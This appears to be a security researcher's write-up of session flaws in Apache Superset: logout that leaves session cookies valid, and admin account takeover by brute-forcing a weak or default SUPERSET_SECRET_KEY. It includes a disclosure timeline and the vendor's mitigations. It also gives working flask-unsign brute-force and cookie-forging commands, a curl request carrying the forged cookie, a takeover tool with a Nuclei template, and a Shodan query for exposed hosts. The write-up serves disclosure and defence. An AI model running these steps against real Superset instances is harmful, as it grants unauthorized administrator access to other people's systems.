Introduction and Goals

Since June of 2024 I have decided to start an independent security research in the Apache Projects on GitHub , during my free time (nightly, weekends and idle holidays). PS.: Obviously, the focus and energy were divided between few other projects and personal hobbies.

The primary goal was to improve my technical studies and consequently help to contribute with the community, so thought in two ways to doing this:

Then looking for interesting projects on GitHub I noticed that Apache's page already had more than 2.8 thousand repositories, and also they have a consolidated vulnerability disclosure program and they are also a CVE Numbering Authorities (CNA). So I thought that this could be a very good environment/playground to start with.

In 23 of February of 2025, I reach the Superset project, and in the first moment I noticed that it already have a Nuclei template to detect the service, and also have to identify the use of default credentials, then I quickly decided to move along to the second step of my journey.

But what is the Superset Project?

According to it documentation:

"Superset is a modern data exploration and data visualization platform. Superset can replace or augment proprietary business intelligence tools for many teams. Superset integrates well with a variety of data sources.

Superset provides:

- A no-code interface for building charts quickly

- A powerful, web-based SQL Editor for advanced querying

- A lightweight semantic layer for quickly defining custom dimensions and metrics

- Out of the box support for nearly any SQL database or data engine

- A wide array of beautiful visualizations to showcase your data, ranging from simple bar charts to geospatial visualizations

- Lightweight, configurable caching layer to help ease database load

- Highly extensible security roles and authentication options

- An API for programmatic customization

- A cloud-native architecture designed from the ground up for scale"

Repositories and official web page:

Detailing the issues

Looking for low-hanging fruits, after several manual and automatic verification, I noticed these issues:

  • Session cookie doesn't expire (type session) and logout functionality doesn't destroy the previous session cookies;
  • Unauthorized admin user access via SUPERSET_SECRET_KEY Brute Force to match session cookie creation/format.

Tested versions:

Detailing each one:

Session cookie doesn't expire (type session) and logout functionality doesn't destroy the previous session cookies.

Searching in the Common Weakness Enumeration (CWE) database, this covers the weaknesses:

In the Common Vulnerability Scoring System (CVSS) it has a score:

Risks involved:

  • An previous admin that doesn't work anymore in the company still have access to the platform if he had stored the session cookie generated during his authorized access;
  • If the session cookie was leaked by any means, an attacker could keep the access with indeterminate time. PS.: After the report and revisiting this item, it was noticed that the session works for only 31 days. So the exploitation window is pretty short in comparison to other type of leaks.

Evidences:

None
Image 01— Accessing and getting a valid session cookie. It was created in Superset version 5.0.0.
None
Image 02 — Called the function Logout to destroy the previous valid session cookie that was obtained before.
None
Image 03 — Trying to reuse the session cookie that was supposedly destroyed with the function Logout, but noticing that it still works as a valid one.
None
Image 04 — The same session cookie also works in another implementation of Superset, and this time using the version 4.1.2. This condition will be better explained in the next security issue identified.

Unauthorized admin user access via SUPERSET_SECRET_KEY Brute Force to match session cookie creation/format.

Searching in the Common Weakness Enumeration (CWE) database, this covers the weaknesses:

In the Common Vulnerability Scoring System (CVSS) it has a score:

Risks involved:

I saw that the session cookie works even if the password of the user is not the same, so for this session cookie to work in another Superset platform and in any version I noticed that the two following requirements have to be met:

1. The user id (parameter "_user_id" in the session cookie) have be the same (in a first moment I thought that have to be the same username, but after testing more and reading the documentation I understand the situation);

2. The environment variable SUPERSET_SECRET_KEY have to be the same in both Superset systems;

This causes a situation where the attacker can brute force the SUPERSET_SECRET_KEY (deploying a local superset platform, getting the session cookie and testing this on the target superset third party platform).

Evidences:

None
Image 05 — Creating the admin user with the password "abc123!" in a local Superset docker container with the value "d732e110598400dc905b1bbc3c10b55ebf5d2eb88be2ec2d681ec14e765a4dea" on SUPERSET_SECRET_KEY variable.
None
Image 06 — Accessing and getting a valid session cookie.
None
Image 07 — Creating the admin user now with the password "bb49fbd8–0f41–49ac-b1be-7a912cb91fb1" in a local Superset docker container with the same value "d732e110598400dc905b1bbc3c10b55ebf5d2eb88be2ec2d681ec14e765a4dea" on SUPERSET_SECRET_KEY variable.
None
Image 08 — The valid session cookie generated in the first local Superset system still works in the second implementation even with a different admin password, and allows the user to execute the account takeover of the new admin user.

Report Timeline

After this analysis, and reuniting the details and evidence, I transmitted all to the respective contact on Apache Project Security, and the Apache Superset uses the general email contact (security@apache.org).

  • April 21, 2025: Sent the security issues to the Apache Security;
  • April 22, 2025: Receiving confirmation from Apache Security General Team;
  • April 24, 2025: Receiving confirmation from Apache Security Project Superset Team;
  • May 15, 2025: Acknowledge of the security issue in the default configuration;
  • November 24, 2025: Released the Security Advisory with best practices on Superset in production environments;
  • November 27, 2025: Notification from email about the Security Advisory release.

Understand the root cause of the issue

By default Flask session manages the session with the client-side, cookie-based and stateless approaches. It uses ItsDangerous module to sign each one. The session cookie name generally is "session" (variable SESSION_COOKIE_NAME), and the Salt word is hard-coded with the value "cookie-session". These configuration can be seen on the Flask session code on Github (https://github.com/pallets/flask/blob/main/src/flask/sessions.py#L298 and https://github.com/pallets/flask/blob/main/src/flask/app.py#L217).

None
Image 09 — Definition of the salt and key derivation in the class "SecureCookieSessionInterface".
None
Image 10 — Session cookie name defined in the variable "SESSION_COOKIE_NAME" and lifetime in the variable "PERMANENT_SESSION_LIFETIME".

The process of signature uses Hash Message Authentication Code (HMAC) with SHA1 (160 bits or 20 bytes block size), therefore HMAC-SHA1, that signs the session data (Payload) with the Secret Key and Salt, and with empty Message derivation, and that resultant data is made a digest/checksum with SHA256 (256 bits or 32 bytes block size).

The detailed process can be seen in the following article "How HMAC Works, Step-by-Step Explanation with Examples"

And this procedure only tries to ensure the integrity of the cookie through signing it, and does not concern about the data confidentiality by doing encryption.

All of these together become a worse scenario because each session cookie is signed with the same Secret Key, and no password policy is applied, so if it was predictable, reused or weak, then an attacker or malicious user could try to guess or bruteforce it more easily.

The resultant session cookie has the following format:

PAYLOAD . TIMESTAMP . SIGNATURE

Explaining each section:

  • Payload: contains all the information necessary to identify the client in the server, like: user id, permissions granted or the user profile and so on. It is structured in JSON format and is encoded with Base64. Depending on the size of the payload it could be compressed with the lib Zlib;
  • Timestamp: informs the date when the session cookie was generated, and with this information the server will know the expiration time. By default it has 31 days of lifetime and could be changed to permanent (variable PERMANENT_SESSION_LIFETIME) if the sysadmin wanted;
  • Signature: digital signature (DA) of the Payload field, and uses HMAC-SHA1 of the Secret Key with Salt and empty Message derivation, and finishes with the digest/checksum SHA256, as mentioned early in the process of signature.

And in Superset by default uses Flask's session management, that consequently (and recapping) uses the following signature configuration:

  • Algorithm: SHA1;
  • Key derivation: HMAC;
  • Message derivation: NONE (fixed value, therefore previsible);
  • Digest/Checksum: SHA256;
  • Salt: "cookie-session" (fixed value, therefore previsible);
  • Session cookie name: "session" (fixed value, therefore previsible).

Dissecting an example of default valid session cookie on Superset:

.eJwljktqBDEMRO_idRa2JOszl2lkWSYhQwa6Z1Zh7h5DllXUK95vOdaZ12e5Pc9XfpTja5ZbWYwEs1Edzuo9VLGzEi0zTsQEVNRU68MGRHddTohDmnVSWG0mdoUN8GxCsRfeRFsVTgbH6iFjmlBNdAdasaSyThsrmYSkbJHXlee_TdsxrnMdz8d3_uxidhCuOkIlI4YaY1prE6oi7ENVyirdNnd_hN9zMxt8_wGcckHP.aVshXQ.MplePVMBElmXDxMcvFNAfT5jehk

With pure python is possible to decode the payload part with this snippet code:

python3 -c "import base64;import zlib;decoded_payload=zlib.decompress(base64.urlsafe_b64decode('<PAYLOAD_FLASK_SESSION_COOKIE_HERE>'));print(decoded_payload)"
None
Image 11 — Decoding payload section with the libs base64 and zlib in python3.

With the SignSaboteur (Burp Suite Extension) is more easier and we can see all content of this cookie:

Payload:

{
"_fresh": true,
"_id": "f6342d140ba68a5c88356844f996e33e23838e895b9b2c5a8fa433b7195482f1de35828446d174cc5aa1781076e62a30ac7bd9740e3aa24fcf7068d9bfe64747",
"_user_id": "1",
"csrf_token": "d527608bc87eccb8963e911d20832aa2884e0759",
"locale": "en"
}

Timestamp:

2026-01-04 23:26:37

Signature (hex):

32995e3d53011259970f131cbc53407d3e637a19
None
Image 12 — Decode a valid session cookie with SignSaboteur.

So the same risks commented before also apply in this case, because the SUPERSET_SECRET_KEY (the variable that represents the secret key) is the only value to be guessed, and the others are well known and fixed.

And an attacker can access the URL "http://<IP_Address>:<PORT>/login/?next=%2Fsuperset%2Fwelcome%2F" to obtain a valid session cookie from the target, and after that perform the offline brute force to find the SUPERSET_SECRET_KEY used, and if found then he will sign a new valid session cookie now with an user id (integer and incremental) that he wants. The admin generally is the user id 1.

Arsenal

Unfortunately, these cool tools only appeared to me after I had sent the security report to the Apache Team, and in the phase that I was trying to better understand the root causes of the problem that I was exploring.

Follows the list with the brief guide of how to install and use each one:

$ apt install python3-pip -y
$ pip3 install flask-unsign --break-system-packages
$ wget https://github.com/danielmiessler/SecLists/raw/refs/heads/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz
$ tar -xvf rockyou.txt.tar.gz
$ flask-unsign --unsign --wordlist rockyou.txt --cookie "eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8" --no-literal-eval
[*] Session decodes to: {'logged_in': False}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 227072 attemptsideo
b'CHANGEME'

In Burp Suite Community or Professional, go to the tab Extensions, and tab BApp Store, search for "SignSaboteur, Web Token Signer".

To use is very simple, when this extension detects a known session algorithm in a HTTP request then it appears as a tab named "SignSaboteur", like this:

None
Image 13 — Burp Suite Extension "SignSaboteur" cracking a weak SuperSet session cookie.

Source: https://portswigger.net/bappstore/e62afa49e12543edbfa9df498363153c

Wordlists:

Test It Yourself

To reproduce the vulnerability in the default environment, just start up the docker of the Superset without any modification, like that:

# Version: 6.0.0
$ docker run -d -p 8080:8088 -e "SUPERSET_SECRET_KEY=YOUR_OWN_RANDOM_GENERATED_SECRET_KEY" --name superset apache/superset:latest

#OR

# Version: 5.0.0
$ docker run -d -p 8080:8088 -e "SUPERSET_SECRET_KEY=YOUR_OWN_RANDOM_GENERATED_SECRET_KEY" --name superset apache/superset:GHA-14580446279

#After that the command sequence is the same for all versions.
$ docker exec -it superset superset fab create-admin \
              --username admin \
              --firstname Superset \
              --lastname Admin \
              --email admin@superset.com \
              --password admin

$ docker exec -it superset superset db upgrade
$ docker exec -it superset superset load_examples
$ docker exec -it superset superset init
$ docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' superset
Access in the browser in the URL: http://<obtained_IP_Addres>:8088

We will use the value "YOUR_OWN_RANDOM_GENERATED_SECRET_KEY" in our secret key (to match the variable SUPERSET_SECRET_KEY) to sign a new valid session cookie:

  • Testing with flask-unsign:
$ flask-unsign --sign --cookie "{'_fresh': True, '_id': 'f6342d140ba68a5c88356844f996e33e23838e895b9b2c5a8fa433b7195482f1de35828446d174cc5aa1781076e62a30ac7bd9740e3aa24fcf7068d9bfe64747', '_user_id': '1', 'csrf_token': 'cc8f99b436f4135c29435cf74293f9ec177935f4', 'locale': 'en'}" --secret 'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY' --salt "cookie-session"
$ curl -S -s -k -X $'GET' -b $'session=<NEW_VALID_SESSION_COOKIE_HERE>' $'http://172.17.0.3:8088/api/v1/security/users/'
None
Image 14 — Using the flask-unsign to sign a new valid session cookie for Superset.
#Obtaining the superUpset repository from Github.
$ git clone https://github.com/icarot/superUpset/
$ cd superUpset/
$ chmod +x superUpset.sh

#Execution mode 1
$ ./superUpset.sh http://<IP_ADDRESS_OR_DOMAIN>:<PORT> default_SUPERSET_SECRET_KEY.txt --all

#OR

#Execution mode 2
$ ./superUpset.sh
$ ~/go/bin/nuclei -t template-apache-superset-adminaccounttakeover.yaml -u "http://<IP_ADDRESS>:<PORT>" -H "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" -V token=/root/nuclei-templates/helpers/payloads//defaultSupersetSecretKeySessionCookie.txt
None
Image 15 — Executing the superUpset tool to do all the necessary steps to validate the issue.
None
Image 16 — Executing the superUpset tool to generate a valid session cookie for each well known default value of SUPERSET_SECRET_KEY and validating with a custom Nuclei template.

Real World Scenario

By performing a quick search on Shodan with the following advanced parameters:

http.html:"superset" http.favicon.hash:1582430156

It is possible to find and see thousands of Superset services online. Of course not all of them will have the issue explained in this article, but when it default configuration is weak and the caution and hardening (security best practices) is delegated to the user, the chances of exposure and exploitation increases a lot.

None
Image 17 — About 3.415 hosts with Superset services online and exposed to the Internet.

Issue Timeline

When I focused on write this article one curiosity was pop up, "What is the history of this issue?", below we can see a timeline of registers found on internet related to it:

Mitigation/Best Practices

As informed in the Security Advisory:

"- Configure Session Timeouts: For production environments using the default stateless session handling, administrators must configure reasonably short session expiration periods. This is the primary and perfectly acceptable mitigation for this risk. This is the recommended approach for most production instances.

- Consider Server-Side Sessions (Optional): The default stateless session model is robust and efficient. However, production environments that require immediate, server-side invalidation of sessions have the possibility of using an optional server-side session backend. This is an alternative approach for specific, stricter security postures.

- Secure the Secret Key: The SUPERSET_SECRET_KEY is essential to session security. It must be a cryptographically strong and unique value. Reusing keys across instances or using weak keys makes attacks computationally feasible."

More details can be seen in the following links:

Research Results

All the contribution acquired in this research can be seen below:

Complementary Documentation/References